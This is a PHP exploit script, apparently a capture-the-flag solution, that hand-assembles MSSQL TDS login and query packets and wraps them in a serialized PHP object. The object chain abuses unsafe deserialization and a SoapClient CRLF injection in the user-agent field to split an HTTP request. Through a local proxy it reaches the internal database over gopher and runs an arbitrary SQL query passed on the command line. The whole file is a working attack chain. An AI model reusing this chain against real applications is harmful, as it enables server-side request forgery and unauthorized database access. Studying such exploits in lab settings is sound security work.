<?php

// the prelogin and login packets can either be assembled
// by hand if you are into that kind of stuff.
// or you can just use wireshark :)
$prelogin_packet  = "\x12\x01\x00\x2f\x00\x00\x01\x00";
$prelogin_packet .= "\x00\x00\x1a\x00\x06\x01\x00\x20";
$prelogin_packet .= "\x00\x01\x02\x00\x21\x00\x01\x03";
$prelogin_packet .= "\x00\x22\x00\x04\x04\x00\x26\x00";
$prelogin_packet .= "\x01\xff\x00\x00\x00\x01\x00\x01";
$prelogin_packet .= "\x02\x00\x00\x00\x00\x00\x00";

$login_packet  = "\x10\x01\x00\xde\x00\x00\x01\x00";
$login_packet .= "\xd6\x00\x00\x00\x04\x00\x00\x74";
$login_packet .= "\x00\x10\x00\x00\x00\x00\x00\x00";
$login_packet .= "\x54\x30\x00\x00\x00\x00\x00\x00";
$login_packet .= "\xe0\x00\x00\x08\xc4\xff\xff\xff";
$login_packet .= "\x09\x04\x00\x00\x5e\x00\x07\x00";
$login_packet .= "\x6c\x00\x0a\x00\x80\x00\x08\x00";
$login_packet .= "\x90\x00\x0a\x00\xa4\x00\x09\x00";
$login_packet .= "\xb6\x00\x00\x00\xb6\x00\x07\x00";
$login_packet .= "\xc4\x00\x00\x00\xc4\x00\x09\x00";
$login_packet .= "\x01\x02\x03\x04\x05\x06\xd6\x00";
$login_packet .= "\x00\x00\xd6\x00\x00\x00\xd6\x00";
$login_packet .= "\x00\x00\x00\x00\x00\x00\x61\x00";
$login_packet .= "\x77\x00\x65\x00\x73\x00\x6f\x00";
$login_packet .= "\x6d\x00\x65\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00\x72\x00";
$login_packet .= "\xc1\xa5\x53\xa5\x53\xa5\x83\xa5";
$login_packet .= "\xb3\xa5\x82\xa5\xb6\xa5\xb7\xa5";
$login_packet .= "\x6e\x00\x6f\x00\x64\x00\x65\x00";
$login_packet .= "\x2d\x00\x6d\x00\x73\x00\x73\x00";
$login_packet .= "\x71\x00\x6c\x00\x6c\x00\x6f\x00";
$login_packet .= "\x63\x00\x61\x00\x6c\x00\x68\x00";
$login_packet .= "\x6f\x00\x73\x00\x74\x00\x54\x00";
$login_packet .= "\x65\x00\x64\x00\x69\x00\x6f\x00";
$login_packet .= "\x75\x00\x73\x00\x63\x00\x68\x00";
$login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00";
$login_packet .= "\x6e\x00\x67\x00\x65\x00";


// need to add a ;-- - to execute the query successfully,
// because gopher adds a \x0d\x0a to the end of the request
// and for some reaason the query does not execute if we don't
// comment that out
$query = $argv[1] . ";-- -";
$query = mb_convert_encoding($query, "utf-16le");

// the length of the packet is the length of the query +
// the length of the header (30 bytes) + the \x0d\x0a added
// by gopher protocol
$length = strlen($query) + 30 + 2;
$query_packet  = "\x01\x01" . pack("n", $length) . "\x00\x00\x01\x00";
$query_packet .= "\x16\x00\x00\x00\x12\x00\x00\x00";
$query_packet .= "\x02\x00\x00\x00\x00\x00\x00\x00";
$query_packet .= "\x00\x00\x01\x00\x00\x00";
$query_packet .= $query;



$payload = $prelogin_packet . $login_packet . $query_packet;


// we want to deserialize an Attachment, since the application
// will make a call on the "za" property ($this->za->open(...))
class Attachment {
    public function __construct($za) {
        $this->za = $za;
    }
}

// We use a SoapClient to make arbitrary HTTP calls. There is a
// proxy running on localhost which we can use to redirect the HTTP
// request to a gopher request (which we will then use to connect to 
// MSSQL).
// However, the proxy only accepts GET requests and SoapClient generates
// POST requests only. Luckily, the _user_agent property is vulnerable to 
// CRLF injection and we can do a request splitting by injecting two
// new lines and then our GET payload.
class BoapClient {
 public $uri = "http://localhost:8080/miniProxy.php";
 public $location = "http://localhost:8080/miniProxy.php";
 public $_user_agent = NULL;
 public function __construct() { 
     global $payload;
     $this->_user_agent = "AAAAAHaha\n\nGET /miniProxy.php?gopher:///db:1433/A".str_replace("+","%20",urlencode($payload))." HTTP/1.1\nHost: localhost\n\n";
}

}


$a = new Attachment(new BoapClient);
echo base64_encode("\$serializedobject\xef\xbc\x84".str_replace("BoapClient", "SoapClient", serialize($a)));
